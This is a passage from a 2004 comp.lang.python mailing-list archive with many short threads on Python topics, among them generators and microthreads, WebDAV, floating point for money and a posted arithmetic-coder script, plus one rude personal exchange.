whenever > one routine blocks to wait for an event, other routines can > still run. Wow!, Provocative = Tending to provoke or stimulate. Well, since you are trying to provoke/stimulate me! Did a little search with Google: 'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&q=author:bryanjugglercryptographer%40yahoo.com+' 'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&q=author:fakeaddress%40nowhere.org+' I noticed you tend to be quite critcal of others. """Bryon wrote: We've been over this before. My position, in case you've forgotten: There is a dilemma in how to respond to the piles of garbage. Lots of newbies do read the group, and they might not be able to filter out all the trash. I've decided one reasonable way to respond to a flood of nonsense is to call it what it is, and suggest that the author put forth effort to write good posts instead. """ Excellent comment I agree! I suggest that you put forth effort to write good posts, instead of trying to wear people down with your opinions and/or tired arguments. Did you notice the OP asked for: microthreads using generators and threads The devil, however, is in the scheduler's details What I posted was about as close as you get. 'Implementing "weightless threads" with Python generators.' I have not studied or used that code. I hoped it would be of use as inspiration for his scheduler. If nothing else it would show how not to do it. Mertz never said they were like real threads or coroutines. Where did you get that? I know it breaks your heart there aren't coroutines in Python. But get a grip on reality. We have got generators(semi-coroutines), and others have mentioned it **is** doable. You did notice this: P.S. The Candygram package is an implementation of Erlang concurrency primitives within Python. So you been there, done that huh? 'http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=dSDVc.9181%249R.1949%40newssvr27.news.prodigy.com&rnum=24&prev=/groups%3Fq%3Dauthor:fakeaddress%2540nowhere.org%26start%3D20%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3DdSDVc.9181%25249R.1949%2540newssvr27.news.prodigy.com%26rnum%3D24' """ Dominic wrote: > Well, the Erlang (language + telecom platform) uses light-weight > threads which could e.g. be implemented with coroutines in Python. Bryon wrote: Well, the issue here is whether they could be implemented reasonably in Python as it currently is, with generators but not co-routines. """ Why didn't you post a link to the other thread? Did you notice the other people that responded are the ones from the other thread? Did you notice they actually gave links to code? Did you email David Mertz and tell him he was 'wrong'? Did you make an effort to 'correct' Mertz's 'mistake'? Did you write code to get it right? Did you responded in a helpful way or did you just waste time? Since you gave me your opinion I will share mine. I am going to suggest you try one or more of the following: Get a real email... quit using FAKEADDRESES. Your smart get a free web email or/and filter. Write some code... Maybe an implementation of coroutines for python, so we can be enlightned! Take a walk...And think about all the comments you make, in all the groups you post in , then think about what it really says about you. what if you had used your intelligent mind to help, rather than offend, argue, and debate? Get a job or two or three... You have way to much 'copious free time', left to post your nonsense to so many groups. Read a book...Like the Bible or other religous text. Your angst stems from the fact you are at odds with your creator. Yes, I realise you are an athiest. We have all been wrong before. """Sure nailed that one, didn't I? (With a little help from Google.) """ HTH, M.E.Farmer :) From josephwinston at mac.com Wed Sep 8 16:36:58 2004 From: josephwinston at mac.com (Jody Winston) Date: Wed, 08 Sep 2004 20:36:58 GMT Subject: WebDAV Server References: <m3n0009a10.fsf@frank.xprtcc.com> <uOH%c.26851$Z14.8686@news.indigo.ie> Message-ID: <m38ybk8plh.fsf@frank.xprtcc.com> Alan Kennedy <alanmk at hotmail.com> writes: > [Jody Winston] >> I'd like to present a view of an internal data store, which has Python >> interface built using SWIG, so that my users can traverse and >> manipulate the data store using familiar tools. > > Have you considered using something like pythonfs: "Linux Filesystem > Drivers for backends written in Python"? > > http://pythonfs.sourceforge.net/ > > Your backend could be your swig-wrapped internal data store. Then your > users could use familiar file management tools on your data store. The problem that I have with kernel level modules such as fuse is that I must keep it in sync with the kernel on lots of machines. (http://www.top500.org/sublist/System.php?id=7058) Life becomes much easier if I stay only in userspace. > It could be exposed to a web server as the document root of the > server: which would be nice because you could pick any standard > webserver and not require it to be in python: every webserver > understands filesystems. > > Same argument applies to webdav, i.e. you could use a native webdav > module for, say, Apache, layered over your data-store "filesystem". > Adding a module to Apache does allow me to stay in userspace. However, I have not ever written a module for Apache. From lee at leeHYPHENphillips.org.invalid Thu Sep 23 15:46:10 2004 From: lee at leeHYPHENphillips.org.invalid (Lee Phillips) Date: Thu, 23 Sep 2004 19:46:10 +0000 (UTC) Subject: Check for keystroke References: <Xns956C6558D1D9Anonenonecom@24.93.43.121> <slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil> <Xns956CC7408DB48nonenonecom@24.93.43.119> Message-ID: <slrncl6a5v.fni.lee@bad-bart.lcp.nrl.navy.mil> On Thu, 23 Sep 2004 00:15:22 GMT, Brian <ThisIsNotMyReal at ddress.com> did write: > It took a little bit of coaxing, but I finally got it to run. > Unfortunately, it still pauses while waiting for a keystroke. Am I > missing something? No, I am - I didn't pay enough attention to what you said you wanted. From grante at visi.com Tue Sep 21 10:32:36 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 14:32:36 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> <mailman.3616.1095729288.5135.python-list@python.org> <414fa1ec$0$63273$a1866201@newsreader.visi.com> <mailman.3620.1095739940.5135.python-list@python.org> <rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net> <mailman.3623.1095750787.5135.python-list@python.org> Message-ID: <41503b84$0$60645$a1866201@newsreader.visi.com> On 2004-09-21, Ajay <abra9823 at mail.usyd.edu.au> wrote: > the ability of a commercial service provider to link your interactions > together and generate a profile of you - that is what i am trying to guard > against. Then don't use their LAN. > i would like users to have the option of interacting with a > service under different pseudonyms. thus the information they > exchange the first time may be different from what they > exchange a second time around. The only way this is going to work is to break the rules in the 802 standards. AFAICT, the main problem you have to worry about is MAC collisions. What if two users end up using the same MAC address? -- Grant Edwards grante Yow! Hello... IRON at CURTAIN? Send over a visi.com SAUSAGE PIZZA! World War III? No thanks! From robin at SPAMREMOVEjessikat.fsnet.co.uk Sat Sep 4 13:35:22 2004 From: robin at SPAMREMOVEjessikat.fsnet.co.uk (Robin Becker) Date: Sat, 04 Sep 2004 18:35:22 +0100 Subject: YOU ALL SUCK! In-Reply-To: <chctqv$e50$0$216.39.172.122@theriver.com> References: <1bf5bcb9.15695836@aol.com> <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4> <chctqv$e50$0$216.39.172.122@theriver.com> Message-ID: <4139FCDA.8020601@jessikat.fsnet.co.uk> Bengt Richter wrote: > On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote: > > >>"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in >>news:1bf5bcb9.15695836 at aol.com: >> >> >>>Sharon expects the printer within hers and actually looks. Why will >>>you grasp the ugly worthwhile onions before Satam does? Many proud >>>cats over the abysmal planet were loving against the tired bathroom. >> >>This seems to be of somewhat better quality than the output of the typical >>random-text generator. Can anyone suggest something on CPAN useful for >>such? > > > Clearly, the speaker-hearer's linguistic intuition suffices ....... > > Regards, > Bengt Richter wow! my litle chomsky :) -- Robin Becker From dperl at rogers.com Fri Sep 3 00:45:33 2004 From: dperl at rogers.com (Dan Perl) Date: Fri, 03 Sep 2004 04:45:33 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <sweNBls/KXoF089yn@the-wire.com> <cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com> <CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com> <u3c21wnbq.fsf@fitlinxx.com> <mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com> <ch5tki$csm$0$216.39.172.122@theriver.com><XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com> <mailman.2776.1094145516.5135.python-list@python.org><oAMZc.129134$pTn.105030@news01.bloor.is.net.cable.rogers.com> <mailman.2797.1094171693.5135.python-list@python.org> Message-ID: <NFSZc.178377$UTP.128544@twister01.bloor.is.net.cable.rogers.com> "Shalabh Chaturvedi" <shalabh at cafepy.com> wrote in message news:mailman.2797.1094171693.5135.python-list at python.org... ......... > Seriously though, I think it's part of Python ideology to trust the > programmer a little more. Notice no private or protected members. > Keeping things explicit and not implicit such as in this case trains > users very quickly. They'll remember to call the parent __init__, or > figure out very quickly when it doesn't work (hopefully with useful > error messages). If things were happening behind the scenes, users will > have a hard time finding out what's going on when it does not work as > expected. Or if they are power users and want to tweak something, > they'll may have to burrow around quite a bit. > > That said, in cases it may actually be useful to do certain things > automatically. After all, making life easier for the user is certainly a > good thing. IMO, it's important to accomodate needs of all kinds of > users, but not their fancies. From what I've seen, that seems to be the > way Python itself is developed. I think that what you're saying and what other people have been saying is that this is an idiom and it's better to follow idioms in a language because it helps people understand your code. I agree with that and I guess I will end up following this idiom. In the end, it's a choice between coding for the beginners or coding for the experienced. In general, that's not an obvious choice, but this seems to be quite a common idiom, so the ratio of beginners who don't know it to people who do know it should be small. Dan From nid_oizo at yahoo.com_removethe_ Thu Sep 23 23:28:24 2004 From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury) Date: Thu, 23 Sep 2004 23:28:24 -0400 Subject: up with PyGUI! In-Reply-To: <2jG4d.38$6b6.9@fe61.usenetserver.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <KgB4d.25594$pA.1567708@news20.bellglobal.com> <41530803.3090805@zephyrfalcon.org> <kGE4d.27287$pA.1612653@news20.bellglobal.com> <2jG4d.38$6b6.9@fe61.usenetserver.com> Message-ID: <5uM4d.26579$z74.474752@wagner.videotron.net> Hans Nowak wrote: > Admittedly, having to state the parent-child (or container-child) > relationship twice is redundant. I am still thinking of ways to make > that work better. Maybe I'll post some suggestions on my weblog, so > people can discuss it there, rather than on the newsgroup. My suggestion is to do as in Python for normal objects; they exists because they are referenced. The widget can even be added under multiple parents; under the hood multiple wx widgets are created. >> It is also more usable, since you can do things like: >> myFrame.SetMenuBar(MenuBar([ >> Menu("File", [ >> Item("&New\tCtrl+N", self.onNew), >> Menu("Some sub menu...", ...)] >> Menu("Edit", ...)] > > > In fact, a nested list would suffice here to contain the structure of > the whole menu. I have an application that uses just that. Maybe > something that can be added as well. Admittedly I did the same thing. But I changed it to something like my example. Instead of having one piece of code analyzing nested lists or tuples, everything is delegated to small classes and therefore expandable by user and more flexible. It's easier to do that with menus because they are not wx.Window IIRC and you don't have to pass the parent in constructors. What would be really cool is to have the same approach for everything: panel = Panel( BoxLayout(VERTICAL, [ Label("Some text), BoxLayout(HORIZONTAL, [ Button("OK", self.onOk), Button("Cancel", self.onCancel)])])) What is cool about that approach is that you can do everything with constructors, but can still do more complex things in mulitple statements like in wxPython (you can still have add methods). It has also the advantage to have the capability to present things hierarchically, as with other suggestions of using metaclasses. >> The problem is that that explicit cross-referencing between parent and >> child forces the parent to be created before, removing capabilities >> like that one. > > But adding capabilities as well... see my example in a previous post. The problem with: b = Button(parent, ..., layout={'expand': 'both', 'border': 2}) is that the constructor of Button is receiving arguments to a layout it should not know about. The arguments can also be specific/complex for a certain type of layout. It mean that widgets contructors, in addition to parent argument, would also need flags for the layout. I see it the other way, ownership should be specified when doing the composition itself, and widgets constructors should only take flags for themselves and their children if they can have one. Note that I'm describing what kind of API I would like to use, not necessarily the one you want to make;) Cheers, Nicolas From peter at engcorp.com Wed Sep 1 09:31:23 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 09:31:23 -0400 Subject: Python cannot use SMTP... In-Reply-To: <qqu5cl3m1bbj.noxsixyxzcd6$.dlg@40tude.net> References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> <KaCdnQgNs7svXKjcRVn-vA@powergate.ca> <qqu5cl3m1bbj.noxsixyxzcd6$.dlg@40tude.net> Message-ID: <L8ednZPp9JGwUqjcRVn-jA@powergate.ca> JZ wrote: > Wed, 01 Sep 2004 08:33:51 -0400, na comp.lang.python, Peter Hansen > napisa?(a): >>The first three characters are the critical part. If they aren't >>a three-digit SMTP response code, your server is likely borken. >>If you post the results, someone might have some advice, but it's >>not likely this is a Python issue. > > via telnet localhost 25: > ... > Connected to localhost. > Escape character is '^]'. > db_connect: failed to connect to database: Error: Access denied for user: > 'admin at localhost' (Using password: YES) > 220 NS1.4U2.PL ESMTP > > Strange, because I can send emails from bash using mail command. I can send > email with php scripts as well (using mail() function). php.ini file has > empty settings for SMTP, so it uses default system settings... I expect other tools are being more lenient, ignoring each line that doesn't look like a proper SMTP reply until they find one that does. That doesn't mean the smtplib approach is wrong, mind you... It would be pretty easy to hack your local smtplib.py to skip over that junk, if you were so inclined. Probably even easier just to fix the server... -Peter From donn at u.washington.edu Fri Sep 17 12:59:32 2004 From: donn at u.washington.edu (Donn Cave) Date: Fri, 17 Sep 2004 09:59:32 -0700 Subject: Installation problem in AIX References: <mailman.3441.1095413314.5135.python-list@python.org> Message-ID: <donn-EADEBF.09593217092004@gnus01.u.washington.edu> In article <mailman.3441.1095413314.5135.python-list at python.org>, <paul.baines at ecb.int> wrote: > I'm trying to install Python 2.3.4 in AIX 5.2 with gcc 2.9. After a lot > of messing around I got the configure script to run using the following > command (libm parameter found from python-list archives): > > configure --with-gcc --with-cxx=g++ --with-libm="" --disable-ipv6 > > Now I have a problem running make: > > ./Modules/makexp aix Modules/python.exp . libpython2.3.a; gcc > -Wl,-bE:Modules/python.exp -lld -o python Modules/ccpython.o > libpython2.3.a > collect2: /lib/libld.a: not a COFF file > make: 1254-004 The error code from the last command is 1. > > I had the same "not a COFF file" error during configure with libm.a > until I added the --with-libm="" parameter. > > Can anyone help? If you actually could build with IBM's C compiler, do that, and --with-cxx=no and OPT=-qmaxmem=8192. Donn Cave, donn at u.washington.edu From rynt at 9yahoo.com Fri Sep 24 11:35:30 2004 From: rynt at 9yahoo.com (R Baumann) Date: Fri, 24 Sep 2004 08:35:30 -0700 Subject: Access to MS SQL from Linux? References: <F1921F85572CB04D9F55B14BDC76B3E4434AA9@iron.ima.umn.edu> <mailman.3767.1095930522.5135.python-list@python.org> <c45e6536.0409231919.1e4f17b6@posting.google.com> Message-ID: <GbednZa34a0io8ncRVn-vw@megapath.net> "Benji York" <benji at benjiyork.com> wrote in message news:c45e6536.0409231919.1e4f17b6 at posting.google.com... > There is a very cool project called ODBTP (Open DataBase Transport > Protocol) at http://odbtp.sourceforge.net. If you're interested I'll > email you a copy (it's LGPL). If there is more general interest, I'll > distribute it more widely. > Yep! Please do! From adalke at mindspring.com Wed Sep 29 00:40:35 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 29 Sep 2004 04:40:35 GMT Subject: arithmetic coder Message-ID: <71r6d.12953$gG4.8512@newsread1.news.pas.earthlink.net> I was messing around with a project, trying out various compression schemes. One of them was for arithmetic coding. My implementation is .. novel ... because it uses the Rational library for buring those CPU cycles. Here's the output when you run it on the command-line with the file itself as the training set and some text from the file % python arithmetic_coder.py arithmetic_coder.py "def for in tot R" Orig. 136 bits, compr. 85 bits, ratio = 66% 24252431564320944671345436 Was it 'def for in tot R'? Guess so. That second line is the compressed text * 2**85. For funsies, here it is. # A very slow arithmetic coder for Python. # # "Rationals explode quickly in term of space and ... time." # -- comment in Rational.py (probably Tim Peters) # # Really. Don't use this for real work. Read Mark Nelson's # Dr. Dobb's article on the topic at # http://dogma.net/markn/articles/arith/part1.htm # It's readable, informative and even includes clean sample code. # # Contributed to the public domain. (Like they would want it ;) # Andrew Dalke < dalke @ dalke scientific . com > import sys import Rational, math R = Rational.rational def train(text): """text -> 0-order probability statistics as a dictionary Text must not contain the NUL (0x00) character because that's used to indicate the end of data. """ assert "\x00" not in text counts = {} for c in text: counts[c]=counts.get(c,0)+1 counts["\x00"] = 1 tot_letters = sum(counts.values()) tot = 0 d = {} prev = R(0) for c, count in counts.items(): next = R(tot + count, tot_letters) d[c] = (prev, next) prev = next tot = tot + count assert tot == tot_letters return d def encode(text, probs): """text and the 0-order probability statistics -> longval, nbits The encoded number is rational(longval, 2**nbits) """ minval = R(0) maxval = R(1) for c in text + "\x00": prob_range = probs[c] delta = maxval - minval maxval = minval + prob_range[1] * delta minval = minval + prob_range[0] * delta # I tried without the /2 just to check. Doesn't work. # Keep scaling up until the error range is >= 1. That # gives me the minimum number of bits needed to resolve # down to the end-of-data character. delta = (maxval - minval)/2 nbits = 0L while delta < 1: nbits = nbits + 1 delta = delta << 1 if nbits == 0: return 0, 0 else: avg = (maxval + minval)<<(nbits-1) # using -1 instead of /2 # Could return a rational instead ... return avg.n/avg.d, nbits # the division truncation is deliberate def decode(longval, nbits, probs): """decoe the number to a string using the given statistics""" val = R(longval, 1L<<nbits) letters = [] probs_items = [(c, minval, maxval) for (c, (minval, maxval)) in probs.items()] while 1: for (c, minval, maxval) in probs_items: if minval <= val < maxval: break else: raise AssertionError("not found") if c == "\x00": break letters.append(c) delta = maxval - minval val = (val - minval)/delta return "".join(letters) if __name__ == "__main__": # getopt? optparse? What are they? import sys trainfilename = sys.argv[1] # must give a filename phrase = sys.argv[2] # must give text to compress (slowly!) probs = train(open(trainfilename).read()) n, nbits = encode(phrase, probs) # +1 for the NUL terminator or equivalent print "Orig. %d bits, compr. %d bits, ratio = %3.f%%" % ( (len(phrase)+1)*8, nbits, (100.*nbits) / (len(phrase)*8)) print n new_phrase = decode(n, nbits, probs) print "Was it '%s'?" % (new_phrase,) if phrase == new_phrase: print "Guess so." else: print "Why not?!" From cpl.19.ghum at spamgourmet.com Wed Sep 29 04:42:08 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Wed, 29 Sep 2004 08:42:08 +0000 (UTC) Subject: repeat something in a thread, but stop when the program stops References: <5db4fffa.0409270551.57a96cda@posting.google.com> <mailman.3969.1096301203.5135.python-list@python.org> <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116> <mailman.4020.1096389667.5135.python-list@python.org> Message-ID: <Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116> Tim, > as them getting many, the computer begins to feel more sluggish. > Those are quite different, and they do more work than you may think. > For example, if a program puts an icon in the Windows systray, then it > has a graphical UI too, and has to run a Windows message pump to > detect stuff like "is the mouse hovering over my icon now? did they > click on me? My impression from reading dispatcher-code was more in the area of: a=get_message_from_windows() if a==waaaah_they_clicked_on_me: give_it_to_them_REAL_hard() elif a==they_hover_over_me: do_some_hover_action() with "get_message_from_windows()" silently and cycle-free blocking until windows decides to distribute a message. Something like a blocking socket, which makes a program wait. > A Python thread waking up to see whether a Python Queue has something > in it does none of that stuff. If you have hundreds of Python threads > doing this, then you can start to think about maybe worrying when it > gets to thousands <wink>. There was a young monk helping the wise ZEN-master taking a bath. After he filled the bath-tub for the master, he had some water left, which he poured away. The master got very harsh to him and asked him, who allowed him to spill that water. The young monk got some enlightenment and learned that this is some essence of ZEN: to cherish every drop, not to waste anything; and changed his name to "drop of water" So please excuse my austerity, I also did not know "Queue.get(200)" and feared to use: while True: time.sleep(0.5) if Queue.empty(): pass else break which really takes some Python bytecodes to toast some cycles :)))) Thank you very much for your detailled explanation, Harald From Olivier.Vierlinck at iba.be Mon Sep 6 06:02:18 2004 From: Olivier.Vierlinck at iba.be (Olivier Vierlinck) Date: Mon, 6 Sep 2004 12:02:18 +0200 Subject: built-in function- module name clash Message-ID: <A146C7972CAF5E40AFDC54B98CD3C33D01FABCC1@iba11.lln.iba> Hi, I've a python script using somecalls to the abs() built-in function. Now, I have to import a module named 'abs' too... The consequence if that line code like if (abs(a-b) < epsilon: ... does not work anymore, with this error msg: TypeError: 'module' object is not callable Clearly, the interpreter tries first to consider 'abs' as a module name rather than a built-in function name. Any idea on how to force it to call the abs() fct? Some kind of scoping or specific syntax? (I could rename the abs module too but ...) Thanks for your help, cheers, Olivier From newsgroups at jhrothjr.com Tue Sep 21 12:30:48 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Tue, 21 Sep 2004 11:30:48 -0500 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> Message-ID: <10l0lpt9n0n5k9c@news.supernews.com> "Chris Barker" <Barkmann at gmail.com> wrote in message news:cc887c1d.0409202325.76ec2227 at posting.google.com... > Hi all, > > I promise this is not a troll... Really, it's embarassing, because > this is one Engineer that DID take a Numerical Analysis course, and > from William Kahan, no less, and I still don't really get it. (and > yes, Alex, I could have gotten my degree without it) It seems your course didn't make the one crucial distinction that should be written in letters of fire at the start of every discussion of floating point. Floating point arithmetic is useful for continuous quantities, or quantities that are measured (as in weighed, etc.) Integers (and rationals) are useful for things that are counted, which includes currency units, but also includes anything else that comes in discrete units (apples and oranges, for instance). Rounding issues in floating point revolve around preserving precision, and that can be a very intricate undertaking, but it's reasonably well understood in the context of things that are measured. Rounding issues in fixed point have to do with the fact that integer division yields rationals, and if you attempt to approximate it with fixed point fractions, then you need to do something to preserve precision. As another poster already said, rounding issues in currency have a great deal to do with custom and government regulation, and have very little to do with anything that makes intuitive sense (unless you're an accountant, and sometimes not even then [grin].) Trying to mix the two always gets people in trouble, over and above trying to use binary fractions in a field where everyone expects decimal fractions. > > I've seen it suggested various times that one should use fixed point > for money, perhaps micro cents represented as integers. However, if > you do that, you need to make sure you do all the rounding correctly. > If you were to use FP, you could have your IEEE 754 hardware do the > rounding for you, and get better performance to boot. If you are > rounding to cents at the end anyway, I can't see that the errors you'd > get with 64 bit FP numbers would ever be an issue. > > I understand that when your numbers got large enough, you'd start to > lose the pennies, but how many of us have the luxury of doing > computation with quadrillions of dollars actually care about the > pennies? Besides, you could check for HUGE numbers and do something > special with them if you wanted. > > What am I missing here? Debits equal Credits to the penny, always have, and always will. (at least since double entry bookkeeping was invented.) Any imbalance will get the Great Gods of Accounting on your tail. John Roth > > -Chris From NOmanlio_perilloSPAM at libero.it Tue Sep 28 05:59:40 2004 From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo) Date: Tue, 28 Sep 2004 09:59:40 GMT Subject: getrecursiondepth References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> <cj3rd9$i9j$1@pegasus.csx.cam.ac.uk> <qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com> <yMn5d.9974$gG4.9921@newsread1.news.pas.earthlink.net> <lf1dl0tqo6kui5gi2qmhgdqq0qdqfeqei0@4ax.com> <6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net> Message-ID: <lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com> On Sun, 26 Sep 2004 17:45:38 GMT, Andrew Dalke <adalke at mindspring.com> wrote: >Manlio Perillo wrote: >> 1) To write code that execute once in a function (as C static >> variables) >> 2) To guard against too many recursion > >Here's a way to get 1). (And I don't know how >checking the stack depth can be used to emulate >C's static variable.) def spam(x): if getrecursiondepth() == 1: # initialization code This is equivalent to C++ code: struct Init { Init() { /* initialization code */ } }; void spam(int x) { static Init init; ... } > [...] > >In any case, what you're saying is that you >want to take over control of how to limit >Python's stack use. Not really... >It also means you can't call someone else's >code because you don't know how that might >affect the stack. I don't think that calling someone else's code can affect the current recursion depth. >If you don't call someone >else's code then you can always track your >stack use yourself by passing a stack depth >value into your recursion > This is simply what I want to do! >def my_function(x, y, z, max_depth = 20): > if max_depth == 0: raise RuntimeError( ....) > ... > my_function(x-1,y+3,z/2, max_depth-1) > ... > >That is a more common way to solve your problem. > I have already used this 'pattern'. But sometimes I don't want to expose the 'limit' on the argument list. Actually I have resolved this by doing: def my_function(x, y, z, __max_depth = 20) But this means I can't use keyword argument in my function! >>> Unlike getrecursionlimit it is something that can be >>>calculated pretty easily. >>> >> >> I think getrecursiondepth is easy to calculate! > >True, and I feel somewhat silly in retrospect for >having said that. For some reason I was thinking >of a non-recusive way to get that information. > >> Wait! >> I have said that the real getrecursiondepth 'redefines' the origin, so >> that outside any function it always returns 0. > >Ahh, I see your point. But then you don't know >how much stack space you have available. This is not a problem!. getrecursiondepth is not intended for such things. > [...] >BTW, I can fool your code > >def fool_recusion_base(n=950): > if n == 0: > import pystate > return > fool_recursion_base(n-1) > >fool_recursion_base() >import pystate >print pystate.getrecursiondepth() > > Ok, but remember the Python paradigm: we are adult programmers... >This will probably print a number near -950. > >To summarize, I don't see how your solution helps >you with #1 and think there are better ways to >handle #2. Could you post code to show how you >would use your new function? > Anyway I have asked why getrecursiondepth is not included in sys module because many members of the PyThreadState struct are accessible from Python. Regards Manlio Perillo From charles.griswold at comcast.net Fri Sep 10 12:42:33 2004 From: charles.griswold at comcast.net (Charles Griswold) Date: Fri, 10 Sep 2004 16:42:33 GMT Subject: Jython as embedded Marco language Message-ID: <ZPk0d.163804$Fg5.124739@attbi_s53> I'm considering using Jython as an embedded macro language within a large java app. Has anyone had experience in such an endevor? From aleaxit at yahoo.com Tue Sep 7 04:30:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 10:30:22 +0200 Subject: any suggestions for URL cataloging project? References: <a8dfce8c.0409062258.269b1b35@posting.google.com> Message-ID: <1gjqm34.152xx7t1tg6na7N%aleaxit@yahoo.com> Matthew K Jensen <matt.torment at gmail.com> wrote: > I've just come up with an idea to make a small-time record of web > pages linking to other web pages. I don't want to download every page > on the internet (I'll leave google to do that). I just want to know if > anyone has any suggestions on how to acquire just the links from a web > page using python. This is for a cataloging purpose. Is there some > library or script out there that I haven't heard of? Check out Tools/webchecker/ -- the Tools directory is part of Python's source distribution and should also come with most prepackaged Python distributions, I believe. Alex From cmetzler at speakeasy.snip-me.net Mon Sep 20 20:32:25 2004 From: cmetzler at speakeasy.snip-me.net (Chris Metzler) Date: Mon, 20 Sep 2004 20:32:25 -0400 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net> <mailman.3614.1095725042.5135.python-list@python.org> Message-ID: <pan.2004.09.21.00.32.24.949382@speakeasy.snip-me.net> On Mon, 20 Sep 2004 19:03:57 -0500, Jeff Epler wrote: > > Incidentally, the second part of your expression goes to 0 here, with > the given values: Yeah, I noticed this later (it's sorta implicit in the content of my other, followup post). This kinda sucks because I need to do some precision surveying calcs -- computing lat/lons for a variety of points separated by known distances and angles from a point of known lat/lon. If I do everything in spherical trig, I run into this issue (that whole dividing-by-earth -radius thing). But if I do things using planar approximations, for most of the points I get lat/lons that are too far off from where they should be. -c From jmlai at uci.edu Thu Sep 2 19:32:00 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 02 Sep 2004 16:32:00 -0700 Subject: compiling to python byte codes In-Reply-To: <4137a8da@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <2pnvpsFn74m5U1@uni-berlin.de> <4137a8da@news.unimelb.edu.au> Message-ID: <ch8ahi$bkc$1@news.service.uci.edu> Maurice LING wrote: > Hi Leif, > > Leif K-Brooks wrote: > >> Maurice LING wrote: >> >>> Or is there any documentation or books that is the python equivalent >>> of "Programming for the Java Virtual Machine" by Joshua Engel? >> >> >> >> Python's byte code isn't very stable, so you might have to recreate >> your entire code base with every new Python version. I would suggest >> generating Python code (not byte code) instead and compiling that. > > > So are you suggesting that say I want to write a compiler to compile > Pascal to Python Virtual Machine, it will be wiser to do source code > conversion from Pascal to Python? > > maurice What about generating an Abstract Syntax Tree (compiler.ast) and using the compiler module (compiler.pycodegen) to write the bytecode? From NOS at Utel.no Wed Sep 22 17:56:24 2004 From: NOS at Utel.no (=?iso-8859-1?q?Nils_O=2E_Sel=E5sdal?=) Date: 22 Sep 2004 23:56:24 +0200 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> Message-ID: <pan.2004.09.22.21.56.24.604769@Utel.no> On Tue, 21 Sep 2004 00:25:25 -0700, Chris Barker wrote: > I understand that when your numbers got large enough, you'd start to > lose the pennies, but how many of us have the luxury of doing > computation with quadrillions of dollars actually care about the > pennies? Besides, you could check for HUGE numbers and do something > special with them if you wanted. > > What am I missing here? Noone would use or buy your software if it throws money out the window. Even pennies. From peter at engcorp.com Sat Sep 25 00:54:58 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 Sep 2004 00:54:58 -0400 Subject: Wrapping Python ? In-Reply-To: <INWdnakjH77cbcncRVn-ig@comcast.com> References: <INWdnakjH77cbcncRVn-ig@comcast.com> Message-ID: <g_GdnVVeza2_Z8ncRVn-sg@powergate.ca> USCode wrote: > Does Python have facilities for wrapping up the interpreter, any necessary > modules, GUI library, python scripts, image files, etc. up into a single > executable like exists for Tcl/Tk? > e.g. http://freewrap.sourceforge.net/ > http://www.equi4.com/starkit.html > > I've seen py2exe but it's not quite the same thing and doesn't appear to be > as comprehensive as the above 2 are for Tcl/Tk. In what way is it not the same thing? (Hint: I'm not about to follow those links and learn about the products just to answer the question... maybe you could explain it, since you seem to be the one who knows about all three products.) Also could you explain in what way you feel py2exe is not as "comprehensive"? It does what it does, does it well, and doesn't really seem to be missing much in that area. Maybe you are looking for an "installer" as well, such as InnoSetup? -Peter From helten0007 at yahoo.com Wed Sep 29 10:00:41 2004 From: helten0007 at yahoo.com (Peter.....) Date: Wed, 29 Sep 2004 16:00:41 +0200 Subject: Program that can find a find a file for you ? References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> <pan.2004.09.29.13.18.28.288793@thomas-guettler.de> Message-ID: <415abff2$0$13728$ba624c82@nntp03.dk.telia.net> Hi again all. I allmost did it, just need the line to run the program now, any ideas, my head hurts, cant think anymore..... Thanks for your help import sys 